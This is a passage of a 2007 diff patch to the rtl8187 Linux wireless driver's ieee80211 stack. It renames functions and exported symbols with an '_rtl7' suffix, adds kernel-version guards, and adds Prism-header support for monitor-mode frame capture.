ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-02-26 03:05:15.911547530 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +63,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +83,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +91,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +102,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +116,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +141,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +152,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +170,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +178,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +194,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +213,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +246,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +271,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +285,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-02-26 03:05:15.941547983 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +128,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +158,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +197,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +210,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +220,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +242,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +251,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +317,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +358,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +368,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +403,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +413,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +431,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +508,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +547,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +565,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +593,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +619,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +639,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +670,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +683,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +694,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +728,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +738,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +758,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +786,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +827,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +960,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +977,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1028,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1055,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1078,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1211,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1219,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1236,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1268,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1303,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1326,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1370,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1385,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1403,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1411,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1419,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-02-26 03:05:15.981548586 +0100 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int 